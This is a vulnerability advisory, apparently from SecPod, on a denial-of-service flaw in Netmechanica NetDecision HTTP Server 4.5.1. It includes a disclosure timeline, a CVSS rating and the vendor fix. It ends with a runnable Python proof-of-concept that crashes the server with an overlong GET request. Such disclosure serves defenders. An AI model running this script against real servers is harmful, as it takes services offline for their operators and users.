##############################################################################
#
# Title : Netmechanica NetDecision HTTP Server Denial Of Service
# Vulnerability
# Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=484
# http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
# http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
# Software : Netmechanica NetDecision HTTP Server version 4.5.1
# Date : 05/12/2011
#
###############################################################################
SecPod ID: 1040 05/12/2011 Issue Discovered
21/02/2012 Vendor Notified
22/02/2012 Vendor Acknowledge
24/02/2012 Issue Resolved
Class: Denial Of Service Severity: Medium
Overview:
---------
Netmechanica NetDecision HTTP Server version 4.5.1 is prone to a denial of
service vulnerability.
Technical Description:
----------------------
The vulnerability is caused due to improper validation of long malicious HTTP
request to web server, which allows remote attackers to crash the service.
Impact:
--------
Successful exploitation could allow an attacker to cause denial of service
condition.
Affected Software:
------------------
Netmechanica NetDecision 4.5.1 (full package) containing HTTP Server version
4.5.1
Tested on:
-----------
Netmechanica NetDecision 4.5.1 (full package) containing HTTP Server version
4.5.1 on Windows XP SP3 & Win XP2. Older versions might be affected.
Older versions might be affected.
References:
-----------
http://secpod.org/blog/?p=484
http://www.netmechanica.com/downloads
http://www.netmechanica.com/news/?news_id=26
Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
Vendor URL:
----------------
http://www.netmechanica.com
http://www.netmechanica.com/news/?news_id=26
Solution:
----------
Upgrade to NetDecision 4.6.1
Risk Factor:
-------------
CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = NOT_REQUIRED
CONFIDENTIALITY_IMPACT = NONE
INTEGRITY_IMPACT = NONE
AVAILABILITY_IMPACT = PARTIAL
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
Risk factor = Medium
Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
#!/usr/bin/python
##############################################################################
#
# Title : Netmechanica NetDecision HTTP Server Denial Of Service
# Vulnerability
# Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=484
# http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
# http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
# Software : Netmechanica NetDecision HTTP Server version 4.5.1
# Date : 05/12/2011
#
###############################################################################
import socket,sys,time
if len(sys.argv) < 2:
print "\t[-] Usage: python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py target_ip"
print "\t[-] Example : python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py 127.0.0.1"
print "\t[-] Exiting..."
sys.exit(0)
port = 80
target = sys.argv[1]
try:
socket.inet_aton(target)
except socket.error:
print "Invalid IP address found ..."
sys.exit(1)
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((target,port))
except:
print "socket() failed: Server is not running"
sys.exit(1)
exploit = "GET "+ "A"*1276 + "\r\n" + "\r\n"
print "HTTP GET request with long filename triggers the vulnerability"
data = exploit
sock.sendto(data, (target, port))
time.sleep(5)
print "[+] Please verify the server daemon port, it must be down...."
